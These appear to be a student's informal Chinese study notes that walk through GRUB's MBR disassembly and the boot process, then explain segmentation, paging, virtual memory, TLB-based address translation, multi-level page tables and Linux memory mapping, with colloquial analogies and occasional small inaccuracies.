000001B5 75F4 jnz 0x1ab

这里al为0,即指向grub\0最后这个\0

跳出循环即执行000001B7 C3 ret

000001B7 C3 ret

函数调用返回,返回到00000093 E81C01 call 0x1b2的下一句00000096 BE057C mov si,0x7c05

00000096 BE057C mov si,0x7c05

0x7c05作为串的源头,0x7c05上是什么呢?

1
2
00000003  108ED0BC          adc [bp-0x4330],cl
00000007 00B0B800 add [bx+si+0xb8],dh

M[0x3]=BC

M[0x4]=D0

M[0x5]=8E

M[0x6]=10

M[0x7]=00

00000099 F6C280 test dl,0x80

检查dl上是否还是0x80

0000009C 7448 jz 0xe6

如果dl上是0x80则跳转0xe6,如果不是则继续执行

不跟随跳转,继续执行

0000009E B441 mov ah,0x41

ah高位置0x41,是为了给int 0x13指令设置参数

000000A0 BBAA55 mov bx,0x55aa

0x55aa->bx,0x55aa是主引导记录的魔数,这里应该是要进行某些判断了

000000A3 CD13 int 0x13

image-20220614161620001

000000A5 5A pop dx

恢复dx=0x80

000000A6 52 push dx

0x80压栈

这两步显得很迷,退出来又放进去

%dl 可能已被 INT 13 破坏,AH=41H。 例如,在 AST BIOS 1.04 中会发生这种情况。所以通过重复出入栈来纠正。

000000A7 723D jc 0xe6

如果标志位CF=1则跳转

哪里置的标志位呢?

jc指令与上面的int 13H ah=41H中断例程形成配合。后者的作用是判断 BIOS 是否支持扩展int13中断,如果支持,则CF=0,否则CF=1,那么jc指令就可以根据 BIOS 是否支持扩展int13中断来执行不同位置的“子程序指令”。

一般现在新的支持LBA模式的主板和Win98自带的DOS7操作系统是支持扩展INT 13的。

000000A9 81FB55AA cmp bx,0xaa55

显然之前bx置过0xaa55,此处零标志置1

000000AD 7537 jnz 0xe6

此时标志位ZF不等于0,所以jnz 0xd8不进行跳转。

谨慎起见,这条指令和上一条指令配合使用,继jc 0xd8之后,再次对int 13H ah=41H中断指令的结果进行确认。确认BIOS支持扩展int13。

0xd8 处的指令是 CHS 寻址模式的,即是说如果不支持 LBA 寻址模式,则使用 CHS。

000000AF 83E101 and cx,byte +0x1

image-20220614162458403

000000B2 7432 jz 0xe6

不跳转

000000B4 31C0 xor ax,ax

ax寄存器置0

000000B6 894404 mov [si+0x4],ax

此前si寄存器被置为0x7c05,现在将0放到0x7c09,0x7c0A上

image-20220614162653873

000000B9 40 inc ax

ax=0x1

000000BA 8844FF mov [si-0x1],al

si-0x1指向0x7c04,将al的第字节0x1放进去

image-20220614162805804

000000BD 894402 mov [si+0x2],ax

1放到0x7c07

image-20220614162856400

000000C0 C7041000 mov word [si],0x10

0x10看成一个双字(高八位全0)放到0x7c05,0x7c06

image-20220614162933671

0x7c06应该为0

为啥这里要用一个"WORD",前面都没用?

因为这里直接把一个立即数放到内存上,没有经过寄存器,将寄存器搬到内存时,寄存器规格决定占用内存上几个单元

现在立即数0x10可以作为一个字节,可以作为一个字,一个双字等等,要用word规定一下0x10作为什么传送

我太难了, 这暗无天日的反汇编分析什么时候是个头啊,不分析了放一个大佬的博客吧

MBR引导程序源码理解_背风衣人的博客-CSDN博客_mbr启动代码

Kernel

不管Grub干了啥,总之,它最后加载了Kernel并把控制交给了Kernel

从哪里加载的kernel呢?在硬盘中,文件系统的/boot/下面,vmlinuz文件,比如

image-20220614165129321

问题是,现在的SATA硬盘驱动都是以模块方式添加的设备,在操作系统启起来之前,必然不可能载入模块

这个问题是用Initial RamDisk技术解决的

image-20220614235435725

台湾人把它翻译成"虚拟文件系统",实际上和VFS不是一个东西

到此,操作系统就起来了,后面操作系统(kernel)会检查各种硬件,然后启动各种服务

内存管理

image-20220612081358649

纯分段

最初分段的目的是实现各段可以随意增长

啥意思呢?在既没有分段也没有分页的年代,程序装载进入内存是紧挨着放的,一条指令或数据紧挨着一条指令或数据.这就导致一个啥后果呢?

我想使用malloc获取一些堆空间,但是堆已经被左右两个块夹住了,大小固定了,找不到想要的空闲空间

分段之后,各段在内存中任意位置存放,一个程序在内存中可能被分割成几块,不必连续存放,两个程序可能交叉着在内存中存放

如果堆就放在一个堆段,堆顶指针指向该段的一头,如果该方向上紧挨着没有其他段,那么堆就可以变大了

分段还实现了,代码和数据的分离,代码放在一个段,数据放在一个段

可以简单意淫一下分段是啥样的:

1
2
3
4
5
6
7
segment Code:
int main(){
printf("%s",Data:buffer);
return 0;
}
segment Data:
char buffer[]="helloworld"

只是意淫,因为x86-64上已经废除分段了,我也不知道真的分段程序怎么写

但是计组书上讲的老古董8086上的汇编语言是有明确的分段的

image-20220612074034741
image-20220612074118371

分段使得段权限管理很方便

段的功能是由程序员指定的,程序员可以把只读代码都放一个Code段,可读写数据都放在Data段,只读数据都放在Rodata段等等,每个段都指定一下访问权限rwx就可以限定怎么访问它了,违反了指定好的权限的访问,操作系统会报告段错误

纯分段中是没有甚么"虚拟内存"概念的,因为虚拟内存的实现要分页,那么内存条子多大,地址空间就有多大,即物理内存

画个图意思意思纯分段系统上程序在内存中的存储状态:

image-20220611090810424

段表

作战时一个师下辖三个团,那么师部就得维护这三个团的信息,包括:

1.团部人员信息,这方便师部联系团指挥员,这可能在师部里有一个电话本本

2.该团当前所在位置,这方便师部部署战术任务(注意战术动作),这可能在师部里有一个沙盘

3.该团当前人员数量,这方便师部进行伤亡统计和兵员补给,这可能师部里有一个专门记录的本本

同样,一个进程被分成若干段,每个段都是大小可变的,每个段可以被安排在内存的任意地址,每个段是甚么访问属性,这也需要一个数据结构维护

每个段占用一个表项,现在我们可以想到,该表项至少应该有的内容

1.段地址,进程访问该段必须

2.段大小,检查访问越界错误必须

3.段访问权限,段保护必须

想不出还需要维护段的啥信息了,是时候看看权威怎么想这个事情的了

image-20220611091807512

他的段表包括了三个项目:段号,段长,基址

段号是啥呢?程序员编程的时候会指定段名,比如Code,Data等,但是计算机并不喜欢这么长的信息,一个英文字母用ASCII编码都需要一个字节,那么一个"Code"就得编4字节,32位

如果程序员的程序就分了两个段,Data和Code,那么只用一个符号位就可以表示两种状态,分三段则需要2位

编译器会无视所有段名,将所有段从上到下顺次编号,这应该可以说是离散化的思想P1496 火烧赤壁 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn)

把名字都映射成顺次增加的整数还有一个好处就是,段号还需要存储在段表中吗?

段表第一项存第一段,段表第二项存第二段...

段表也只需要把编译器翻译成的0,1,2,...n号段按顺序存起来

那么实际上段表项只有段长和基址两个信息,而这些我们都想到了,我们甚至想到了保护措施

在纯分段的系统上,段表被放在哪里呢?

操作系统是常驻内存的,进程控制块PCB由操作系统维护,每个进程又只有一个段表,

那么很自然的就会想到,段表放在进程PCB中,由操作系统维护

果真如此吗?

非也,诚如是则PCB过于臃肿,操作系统占用的内存空间会因为段表变的非常大

实际上PCB只需要维护一个指向段表内存地址的指针和段表的长度

在进程被调度运行时,段表地址和段表长度会被放到硬件段表寄存器中

地址翻译

image-20220611092650927

加入纯分段系统上,给出一个32位的内存地址,

高16位为段号,低16位为段内偏移

高位地址为0x0002h,即段号,首先要和段表长度进行比较,如果段号大于等于段表长度则产生越界中断

如果段号小于段表长度,那么用段表地址+段号相当于一个基址变址寻址,去查2号段即段表里面从上往下数第三条记录,发现基址为40K,段长6K

低16位为0x0100h=0.25K<6K因此该段内偏移量是合法的,不会发生越界中断

最终基址+段内偏移=1010 0000 0000 0000+1 0000 0000=1010 0001 0000 0000=0xA100即物理地址

地址空间维度

纯分页系统中用户进程地址空间是一维的,直接给出一个物理地址就可以寻址

纯分段系统中用户进程地址空间是二维的,需要通过段:段内偏移指定一个物理地址

image-20220612080803151

每个段内都是从0开始开始编址

分段的好处

1.方便共享

image-20220612081026860

代码和只读数据可以在物理内存中只有一个段,但被多个进程的段表项目指向

实际上后来的段页式中,共享库就是这样用的

碎片

外部碎片:

画个图立刻清楚

image-20220612083115693
image-20220612083039864

内部碎片:

在内存分段系统上没有内部碎片问题

在分页系统上,假设一个页是4KB,一个进程的地址空间要33KB,那么前32K正好8页,第九页上只用了1KB,剩下这3KB就是内部碎片

段页式

image-20220612083740271

段页式结构,对用户来说,可以感受到的是分段,实际使用的时候和纯分段几乎相同

操作系统负责分页工作,对用户不可见

一个段可能由多个页组成,比如一个8K的段就有可能由两个4k的页组成,这个段就管理两个页

一个进程对应一个段表,每个段维护一个表,因此一个有多个段的进程对应多个页表

纯分段结构中,段表存放的是段基址和段长度,而段页式结构中,段表中存放的是页表长度,页表存放块号,页表存放的是内存块号

从物理寻址到虚拟寻址

虚拟内存是一伙子异想天开的人造出来的巧夺天工,在虚拟内存之前,是符合普通人认知的物理内存

计算机主存(目前可以直接认为成内存条)可以看成是一个巨大的数组,他有M个连续的单元,每个单元大小是一个字节,各个单元线性分布

image-20220516182449307

物理寻址就是直接在内存条上寻址,CPU想要读写哪个单元的内容,只需要指定该单元的编号,或者说下标

物理寻址的一个相对完整的过程:

1.CPU指定物理地址,将该地址信息送到地址总线

2.CPU指定对该地址是读还是写操作,将该控制信息发往控制总线

3.CPU从数据总线上对相应内存单元进行读写操作

既然物理寻址方法如此自然易懂,为什么还要引入一个相对晦涩的虚拟寻址呢?

其中的一个原因是,内存条太小了,想要把一些磁盘空间也乔装打扮一下当成内存使用

还有更高级的原因,比如更方便地管理内存

虚拟空间是对上层而言的概念,而物理空间是对下层而言的,

用户感到的是虚拟空间,有限的内存上似乎可以运行无限多的进程,开无限多的进程独立地址空间,

而对操作系统来说,实际上的"资源"就只有内存条那固定死的地址空间.

操作系统通过及时地将用户暂时不用的进程的物理空间换给其他进程的虚拟空间使用,让用户产生错觉认为内存很大.

当用户又要继续使用刚才暂时不用的进程时,此时该进程占用的"资源"刚才被操作系统从内存中搬到磁盘中,然后交给了别的进程.

因此操作系统又会启动缺页处理,把磁盘中该进程的信息重新搬回来放到内存中使用.

这就好比用工荒,又好比小学时做过的一道数学题

400个士兵守一个方形的城池,每时每刻都有士兵阵亡.

如何保证敌人每时每刻看到每面墙上都有至少100个士兵在防守的假象?

400个士兵均分4组站在4个角楼上就可以造成每面城墙有200名士兵的假象

东北角的士兵就同时起到忽悠东面和北面两个方向敌人的作用

在虚拟内存概念中,主存就起到了这个东北角士兵的作用

虚拟寻址相对于物理寻址多了一个硬件MMU(内存管理单元)和一个步骤即地址翻译.

并且CPU指定的虚拟地址有可能并不放在主存中,而是放在磁盘中,这就发生了缺页,操作系统会一系列操作给他整的不缺喽然后继续执行,这都是后话了

最简化的虚拟寻址模型:

image-20220516182852208

一个相对完整的虚拟寻址过程:

1.CPU指定一个虚拟地址,发往MMU内存管理单元(MMU也是CPU中集成的一部分)

2.MMU将虚拟地址翻译成物理地址,送往地址总线(由于MMU是CPU的一部分,因此还是CPU将该物理地址送往地址总线)

3.CPU指定对该物理地址的读或者写操作,将控制信息送往控制总线

4.CPU通过数据总线对该内存单元进行读或者写操作

地址空间

物理地址空间和虚拟地址空间

一个512MB的内存条上的地址空间即物理地址空间是多大?

一个单元一个字节,\(512MB=512*2^{10}KB=512*2^{20}B=2^{29}B\)即物理地址空间编号范围为:\([0,2^{29})\)

物理地址空间就是内存条上的地址空间数

虚拟地址空间是指想要给用户造成的假象中,让用户感觉出来的内存大小,实际上是磁盘上的一个连续巨大数组

还是以士兵守城举例,一共400个活人,每面墙上分100个士兵,不可能再多了,这就是物理地址空间

但是士兵都站在角楼可以造成每面墙都有200个士兵的假象,这就是虚拟空间

通常虚拟地址空间会比物理空间大,否则虚拟空间没有存在的意义

绷不住了

为什么不直接把物理空间做大?物理空间即内存条,相对磁盘贵得多.如果有钱自然可以整一个不用磁盘,只用内存(还涉及到断点是否能保存的问题)的计算机,现在对于私人电脑而言,比如联想拯救者y9000p2021h,显然不现实

数据对象和地址空间的关系

数据对象就是存放在地址空间上的数据,其在地址空间中的位置或者说下标就是其属性

比如一个char一个字节,存放在一个内存单元中,

一个int四个i直接,存放在四个连续的内存单元中,

每个数据对象都会有一个虚拟地址空间地址,当其所在进程被实际运行时,它有可能在物理空间中有一个物理空间地址

虚拟内存作为缓存工具

分页

虚拟空间比物理空间大,自然不能一股脑塞进物理空间里.

应该是用到虚拟空间的某一块就从虚拟空间中把这一块搬到物理空间中

这就好比一个有5个坑的厕所但是有20个人要扔炸弹,自然要挑最急或者最先排队的5个人去扔炸弹,20个人一起扔炸弹有很大可能把炸弹扔别人身上或者扔外边

这里选5个人一组去扔炸弹就好比从虚拟空间中选出一部分块放到物理内存中接收CPU的访问

为什么CPU不能直接去磁盘访问?

这从量上举例

就好比中国有13亿人口就要挖13个上厕所的坑,

其一正常人不是每时每刻都在扔炸弹,就好比磁盘中的数据不是每时每刻都要被CPU访问

其二建13亿个厕所走到路上得随处可见的坑(我密恐犯了),类比计算机中就需要从CPU到磁盘之间部署总线,磁盘一般比较大,比如1个T,那么地址总线宽度就得\(log_2 1T\)

从质上举例子,内存速度远快于磁盘,

CPU去访问内存,然后内存去访问磁盘,就好比师长向团长下达命令,团长去团里下命令,要找士兵许三多,

但是CPU去访问磁盘就好比师长直接向师广大士兵下达命令,找许三多这个人.

规范的术语:

虚拟内存(Virtual memory,VM)

物理内存分割成的块叫做物理页(Physical Page,PP)

虚拟内存分割成的块叫做虚拟页(Virtual Page,VP)

虚拟内存分割成块是因为物理内存放不下,那为什么物理内存也要分块?

这就好比20个人去一个10个坑厕所扔炸弹,20个人里有10男10女,扔炸弹这种事做不到男女搭配干活不累,需要5个坑放在男厕所,5个坑放在女厕所,然后10男分两组去男厕扔炸弹,女同理

都是人但是因为性别就得分开扔炸弹

有些连续虚拟内存块就得分开了放到物理内存里

虚拟内存中的一个虚拟页在被使用的时候要搬到物理内存中,复制到一个物理页上,

用不到的虚拟页其对应的物理页有可能就被让给其他虚拟页使用

可以说某一时刻一个正在被使用的物理页是一个虚拟页的快照,

当然物理页可以修改,这会导致物理页和其对应的虚拟页内容有差异,这种情况下应该怎么办呢?当该物理页将要被让给其他虚拟页时需要将改动写回其对应的虚拟页

页属性

页属性:物理页和虚拟页有相同的大小\(P=2^p\)字节

由于物理地址空间比虚拟地址空间小,因此显然物理页数量比虚拟页数量少

根据虚拟页是否被使用以及是否正在被使用,虚拟页可以分成三种

image-20220516193505725

分配与否就是指该虚拟页是否存储了信息

缓存与否就是该虚拟页是否被复制到物理页供CPU访问

image-20220516193749579

什么是缓存?

看电影的时候也会遇到"缓存"这个概念,缓存有点一劳永逸的概念,第一次加载需要花费一些时间,但是以后对相同内容的重复访问就快得多了

什么叫"缓存在DRAM中",就是指虚拟页已经拷贝到内存上建立了物理页,方便CPU直接访问内存而不用与磁盘打交道

因此内存条在存储系统中可以看成是CPU和磁盘之间的缓存器,就好比cache是CPU和磁盘之间的缓存器,只不过内存比cache大得多慢得多

显然VP数量多与PP,VP的二进制地址编号更长

幼年的页表

CPU或者说虚拟内存系统怎么知道它想要访问的虚拟页是否已经被拷贝到内存条上成为物理页了呢?

这就好比班主任要约谈某个倒霉蛋,但是班主任怎么知道这个倒霉蛋有没有来学校呢?班主任会先看一下签到表判断一下倒霉蛋来没来,来了则直接约谈,没来则先从家里叫到学校然后再约谈

让虚拟内存系统掌握目前有哪些虚拟页拷贝成了物理页,要在==主存上==放一个页表(Page Table,PT)

为什么要放到主存上?

还能放到哪里呢?CPU的寄存器里?磁盘里?

寄存器稀松了了的几个,每一个最多存放一个64位数4字节,而一个页表表项数成千上万,每个表项都是以字节为单位.显然CPU寄存器放不开?

放磁盘里那和CPU直接访问磁盘上的数据有啥区别?

也只能放在内存里了

页表项(PTE)数是根据虚拟内存确定的,虚拟页有几个,就有多少个页表项

image-20220516194906654

页表项按照顺序表方式排列,下标从0到虚拟页数-1,与虚拟页一一对应

有效位表明该虚拟页是否已经在物理内存中创建了物理页,

页表项剩下的部分是物理页号,光知道一个虚拟页创建了一个物理页还不够,还得知道这个物理页在哪里

这就好比20个爷们去只有5个坑的男厕扔炸弹,厕所所长为了方便惩罚扔不准炸弹的爷们,给五个坑标上0,1,2,3,4,然后让每个人扔炸弹的时候报告自己对哪个坑输出,

然后厕所所长记录一张如厕表,坑[0]=老八,坑[1]=张三...就能根据坑号责任到人,

如果1号坑的爷们占着坑不扔炸弹,所长就则给外面的人说1号坑闲置,来个爷们把上一个爷们给挤掉

如果1号坑的爷们快速地扔完炸弹走了,所长就把1号坑标记为闲置状态

之所以说"幼年的页表",是因为实际上的页表项目还要记录很多信息,这里只是最简化的页表

页命中

CPU想要访问某个虚拟地址,但是这个虚拟地址对应的页是否已经被缓存到内存中了呢?

如果是则"命中"

这就好比20个爷们去一个5坑男厕,一个找茬想让老八表演绝活,但是绝活只能靠在厕所中食用炸弹完成,于是找茬的去问所长,老八是否正在坑上,

所长也挺好奇的,查了一下如厕表,发现坑[0]=老八,老八确实正在扔炸弹,这就命中了

否则所长就要让外面的老八挤掉一个站着茅坑不扔炸弹的张三然后表演绝活

在计算机上怎么判定是不是呢?

image-20220516200840582

根据CPU给出的虚拟地址首先查虚拟页表,先看有效位,如果为1则命中,根据页表项后面的物理页号去物理内存中去访问物理页

如果有效位为0则表明该虚拟地址对应的页还没有拷贝到物理内存里,触发缺页异常,这都是后话了

虚拟地址和虚拟页的关系?

虚拟页是一个虚拟单元集合,一个虚拟页集合了一些连续的虚拟单元,每个虚拟单元都有一个虚拟地址

虚拟页的地址就是第一个虚拟单元的虚拟地址

因此给定一个虚拟地址查页表的时候应该是查询该虚拟地址是否属于某个虚拟页的辖区

缺页

没有命中的情况就是缺页

什么情况下判定为缺页?

image-20220516201903715

cpu指定的虚拟地址查页表后发现有效位为0,立刻引发缺页中断

缺页了怎么整才能让它不缺?

我原来认为缺页了CPU就直接越俎代庖地去访问磁盘了,这经过前文的学习显然是想当然

缺页之后选择一个"不是很重要"的物理页(比如PP3)给他扬了,修改指向该物理页PP3的页表项PTE4,有效位置0,

此举的目的是当先前的虚拟页VP4再次使用时,需要重新拷贝到物理页.如果此时不即使修改PTE4的有效位则再次使用VP4时一查表,发现已经缓存好了,直接访问PP3了,可是PP3实际上是VP3的拷贝

这里"选择一个不是很重要的物理页"涉及到页面调度算法,这是另一本黑叔叔,<<现代操作系统>>中的内容

然后用需要用到的虚拟页VP3拷贝到该物理页PP3位置,挤掉VP4,

修改对应的页表项PP4,有效位 置1然后物理页表地址写上刚才拷贝到的物理页的地址PP3

image-20220516202424662

都改完之后,重新执行刚才的指令,此时虚拟地址就已经被缓存了,不会再发生缺页了

一些规范术语:

交换或者页面调度:再内存和磁盘之间传送页

页面调入或者磁盘换入,页从磁盘传送到内存,方向都是相对于内存而言的,

方向总是相对于更靠近CPU的器件而言的

按需页面调度:只有不得不进行页面调度即发生了缺页时,才进行页面调度的调度方式

现代操作系统一般使用按需页面调度

虚拟内存作为内存管理工具

每个进程都有自己独立的==虚拟==地址空间,注意不是物理地址空间

这就要求每个进程都有独立的页表

物理空间只有一个,就是内存条,或者说主存

进程的虚拟地址空间看似是连续地开了一大片,实际上有可能在物理内存上东一块西一块.

不同的进程可以有共享的物理页,这时动态库的物质基础

image-20220516205620915

这里有一个问题,如果两个进程的代码段都是从虚拟地址的0x400000开始,岂不是对应了磁盘上的同一虚拟页?

==可以提出一种猜想==

进程的虚拟地址空间是要小于磁盘上全部的虚拟地址空间的

进程的虚拟地址并不是磁盘上的虚拟地址空间的下标,

而是相对于磁盘上几个连续的页面组成的一个子虚拟地址空间而言的

该子虚拟空间从0开始重新编号

虚拟内存作为内存保护工具

啥是内存保护?

比如用户不允许修改内核的数据

只读数据无法被修改,代码段也不许被修改

不允许修改其他内存的虚拟地址空间

进程的虚拟地址空间独立,很自然的就保证了进程不允许修改其他内存的虚拟地址空间,

这就好比让两个在水上步行球中的人打架,两个球距离最近也就是相切,不会相互嵌入

这个球就好比进程独立的虚拟地址空间

...

幼年的页表成熟了一些,成了带许可位的页表

image-20220516210523521

在页表项中加上许可位,就可以限制进程对该页读写访问,

sup许可位限制普通用户和管理员的区别

违反这些许可条件的指令将会导致段错误

地址翻译

符号约定

image-20220516225933019

地址翻译就是从虚拟地址计算出物理地址的过程

image-20220516214911937

咱就是说这个MAP函数这么抽象有必要这样写一下吗

这个映射是在MMU中完成的

最简单的地址翻译

image-20220516220103992

每个进程可以有自己的独立页表,需要一个页表基址寄存器指向页表基地址,作用类似于段寄存器

一个精确到存储单元的虚拟地址分成虚拟页号和虚拟页偏移量两部分

确定到页用到页号,确定到页上的一个单元需要页偏移量

由于物理页大小和虚拟页大小相同,因此物理页偏移量和虚拟页偏移量是相同的

虚拟页数量一般会大于物理页数量,因此虚拟页号长度一般长于物理页号,即\(n>m\)

翻译过程:

1.CPU指定一个虚拟地址给MMU

2.MMU将该虚拟地址的\([p,n-1]\)位作为虚拟页号去查页表,剩下\([0,p-1]\)位作为页偏移量

3.虚拟页号查页表对应项,如果有效位是0则缺页中断,否则命中,如果命中则:

4.从页表中读取物理页号\([p,m-1]\),和页偏移量\([0,p-1]\)拼成物理地址

5.CPU将该物理地址放到地址总线上,准备访问内存

考虑高速缓存的地址翻译

原来的地址翻译,CPU直接访问内存,现在在CPU和内存之间再加一级缓存,L1高速缓存

image-20220516221624510

处理器只能发出虚拟地址,MMU翻译成物理地址,处理器不能直接发出物理地址

页表还是存放在内存中,高速缓存存放的是很少一部分的页表项目还有数据

1.处理器发出虚拟地址VA之后进入MMU进行翻译,得到一个虚拟页号

2.如果没有L1则下一步要根据虚拟页号,到内存中访问页表了,而现在有L1,要先检查L1中有没有该虚拟页号对应的页表条目.

3.如果L1命中,并且对应页表条目有效位为1,则不再访问内存,直接从L1中取出该页表条目的物理页号给MMU.

4.如果L1不命中,则还需访问内存,从真正的页表中找到该虚拟页号对应的页表条目,然后根据有效位判断是否缺页,

如果内存也命中即有效位为1则不缺页,将该页表条目返回L1,从L1中挤出一条相对不重要的记录.

然后MMU再访问L1获得页表条目的物理页号,(这次L1必然命中),然后拼成物理地址

如果发生缺页,也是内存和磁盘之间页的传递,与L1没有关系,无需讨论

然后CPU访问物理地址也因L1有所变化

在没有L1时,MMU拿到物理地址之后会加到地址总线上,但是现在MMU拿到物理地址后还是会先查L1,如果L1命中,则直接取出数据通过内部总线传递给CPU,免去了访问内存和外总线的过程

当L1不命中时才会查内存上的物理地址,然后取出其上的地址,然后在L1中挤掉一个相对不重要的记录,存入该物理地址及其数据的键值对

TLB加速翻译的地址翻译

TLB:翻译后备缓冲器(Translation Lookaside Buffer)

这个玩意儿是加速翻译的,啥意思呢.

如果五秒前我问了别人,"你好"用英语怎么说并获得了回答,

五秒后我要对一个米国人打招呼,这时需要翻译

但凡比鱼聪明点的人都还记得"你好"用英语怎么说,这就是TLB命中

但是如果五秒前我尝试寄了十个甚至更多的英语单词,其中即使包括"你好",五秒后我也不一定能想起来,这就是后来的翻译挤掉了前面翻译的缓存,然后TLB不命中

此时想不起来就应该再问懂哥儿,"你好"用英语怎么说,然后记住,方便奉承下一个米国人用,这就是TLB不命中之后干的事

image-20220516224400351

处理器指定一个虚拟地址交给MMU,MMU首先不会尝试查L1或者内存中的页表进行翻译,而是首先访问TLB,看看刚才是不是已经翻译过并且还记得,如果命中则直接用刚才记住的翻译得到物理地址

如果TLB没有命中则老老实实去查高速缓存页表项,要是再不命中则老老实实去查内存页表,要是还不命中则缺页

可气的是,总有一伙子人能设计地这些缓冲几乎百发百中

手工模拟地址翻译

题目环境

考虑上TLB,L1缓存,手工模拟一个地址翻译过程

系统参数:

image-20220516232636330

这里几路相联,几个组实际上就是将线性的缓存器改成了阵列,按照行列存储

每个页面大小\(64Bytes=2^6Bytes\),一个内存单元\(1Bytes\),因此一个页管理\(2^6\)个地址,页内偏移量就得是一个6位二进制数,剩下的高位才是页号

image-20220516232919987

TLB中缓存的是刚才查过的翻译,可以认为是[VPN,PPN]键值对,MMU给出一个VPN,如果TLB中有键为该VPN的键值对,则TLB给出PPN值,此时TLB命中,

否则TLB不命中则需要查L1或者内存页表进行地址翻译

这里给出了一个假定的TLB缓存情况

image-20220516233348777

页表是单级结构,这里给出了假定的页表的情况

image-20220516233340796

高速缓存L1通过物理地址字段进行寻址,这里给出了假定的缓存情况

image-20220516233523416

将虚拟地址0x03d7翻译成物理地址

0xA虚拟地址格式
image-20220516235021410
0xB地址翻译
image-20220516235143678

TLB命中,物理页号0x0D拼接页偏移得到物理地址

image-20220516235504854

只要是TLB中能找到的记录,都不会缺页,这是因为,最近的记忆会挤掉老的记忆,TLB中只要能找到,说明最近被翻译过

参数
VPN 0xf
TLB索引(TLBi) 0x3
TLB标记(TLBt) 0x3
TLB命中?
缺页
PPN 0xd
0xC物理地址格式
0 0 1 1 0 1 0 1 0 1 1 1
0xD物理内存引用
image-20220517000150935
image-20220517000501697

缓存命中

参数
字节偏移CO 0x3
缓存索引CI 0x5
缓存标记CT 0xD
缓存命中
返回的缓存字节 0x1D

多级页表的地址翻译

以两级页表为例

单级页表 的时候,一条页表项对应一个虚拟页,一张页表就可以管理整个虚拟内存的页

如果虚拟地址空间更大,页更多,则页表项目更多,而页表也是存放在内存中的,如果页表也大到内存装不下该当如何?

这就好比刚上大学的时候所有的学习资料都可以放在一个文件夹里

但是日积月累,学习资料文件夹变得臃肿,想要找到一个文件就像大海捞针

因此应该建立子文件夹,比如/reverse,/pwn,/web等等

时间长了每个子文件夹又会臃肿,又可以根据时间或者难易程度建立子子文件夹

高级页表的表项是低级页表的索引

image-20220516231018326

这里二级页表和前面的单级页表作用类似,直接索引虚拟页,但是也有些许区别

单级页表结构中只有一个页表,第i个页表项就指向第i个虚拟页

这里二级页表有多个,每个二级页表只对应虚拟内存中的连续的1024个虚拟页,二级页表的表项都是从0开始编号的但是虚拟内存中的页是统一编号的

一级页表的作用是索引二级页表

一级页表的表项,其有效位标志着对应二级页表对应的1024个虚拟页都没有被缓存过

但凡这1024个虚拟页中有一个被缓存,其在二级页表中的表项的有效位为1,则该二级页表对应一级页表中的表项有效位就得是1

只有一级页表是常驻内存的,只有有效位为1表项对应的二级页表才会被搬进内存,不用的时候还得被挤出去

k级页表的地址翻译

image-20220516231949258

一级页表表项中存放的是二级页表的索引,二级页表表项中存放的是三级页表的索引,以此类推,直到最低级页表,其表项才是物理地址,

从高级页表一直索引到低级页表的过程中,但凡有一个页表项的有效位为0则引发缺页

缺页也是逐级修复的,

只有最低级页表项才存放实际的物理页号,然后物理页号和页偏移拼起来组成物理地址

可气的是,虽然有这么多级,但是总有人能设计得它的速度能和单级页表媲美

英特尔酷睿i7/Linux内存系统地址翻译

多级页表结构,每个进程允许有自己私有的页表层次结构

页大小采用4KB,四级页表结构

这里第一次见到"CR3控制寄存器",其作用是指向一级页表的起始位置,CR3是每个进程上下文的一部分,每个进程都有自己独立的页表结构,执行A进程时CR3就应该指向A进程的一级页表起始位置

一级页表可以有多个吗?

还是说只有一个一级页表,管理所有的二级页表,然后进程从二级页表开始有自己的独立地址空间

image-20220517073701065

高级页表(除了直接管理虚拟内存的最低级页表),其结构如下:

image-20220517073820824

最低级页表结构如下

image-20220517073849861

Linux虚拟内存系统

进程的虚拟内存

image-20220517074643634

进程虚拟内存部分(用户栈向下)是进程的独立的虚拟地址空间,

内核虚拟空间被所有进程共享,共享的实现是通过页表的一些表项指向相同的物理地址,然后页表项上标明内核虚拟内存只读

共享库等技术的实现也是基于虚拟内存的,但都是后话了

Linux虚拟内存区域组成

虚拟内存分段,被分段的虚拟内存区域就一定已经被分配了

只要是存在的虚拟页就一定属于某个段,

未使用的虚拟页不会被记录,没有页表指向该位置

image-20220517080056415

task_struct指向内核运行该进程的所有信息

PID,指向用户栈的指针rsp,可执行目标文件名字,程序计数器rip

mm_struct描述虚拟内存的当前状态,其中的两个字段pgd,mmap

pgd指向一级页表的基址

mmap指向vm_area_structs链表,该链表的每一个链表项都描述了当前虚拟内存地址空间的一个段.

每个vm_area_struct链表项都有五部分组成

1
2
3
4
5
vm_start:段起始地址
vm_end:段结束地址
vm_prot:段的读写权限
vm_flags:段共享或者进程私有标志等信息
vm_next:指向下一个段

当该进程被执行的时候,pgd会被放到CR3寄存器中

Linux缺页异常处理

image-20220517081116670

CPU指定一个虚拟地址,然后去vm_area_struct各个表项去查该虚拟地址是否属于\([vm_{start},vm_{end}]\)之间,如果各个链表项都不包含该地址则说明该地址没有被分配,发生段错误

如果没有发生段错误则检查该内存访问的性质,是读还是写,如果对只读区域进行写入则报告保护异常

上述两种情况都通过了则表明这是真的缺页了,使用某种页调度算法牺牲一个物理页,用这个缺页挤掉

内存映射

啥是内存映射呢?

以共享虚拟内存举例

两个进程的页表相互独立,但是可以指向物理内存中的同一区域,比如共享库

通过将一个虚拟内存区与磁盘上一个对象关联起来,以初始化这个虚拟内存区域的内容,这个过程称为内存映射

共享对象

如果同时打开多个终端bash,它们会共享同一块只读代码区.多个程序调用库函数printf,但是实际最后调用到的printf只在物理内存中唯一存在

通过一个例子说明共享对象的过程

一开始时共享对象也只是虚拟内存上的一些页或者说段,尚未被任何进程映射.

现在进程1将共享对象映射到自己虚拟内存中的某个位置,并在物理内存中建立了物理页

image-20220517083739843

现在进程2也想映射共享对象,内核判断进程1已经映射过该共享对象,即共享对象已经存在于物理内存中,那么只需让进程2的相关页表项指向该共享对象在内存中快照的物理页

image-20220517084031704

私有写时复制对象

什么时候一个对象不得不每个进程分别映射到不同的物理内存了,什么时候才会真的在物理内存上开两个对象的空间

在两个进程都没有尝试向私有对象写东西时,私有对象表现得和共享对象没有区别,物理内存中也只存在一份拷贝,因为这足以满足读的要求

image-20220517084442357

当其中一个进程试图写私有对象时,由于要保证进程的虚拟地址空间独立,因此不得不将该私有对象做一个拷贝,在内存中存放两个私有对象,两个进程的页表项目各自挑一个指向

image-20220517084658157

fork函数

1
pid_t fork(void);//子进程返回0,父进程返回子进程的pid,出错返回-1

1.子进程获得一个pid

2.子进程得到与父进程一模一样用户级虚拟地址空间拷贝

用户级虚拟地址空间包括

代码段

数据段

共享库

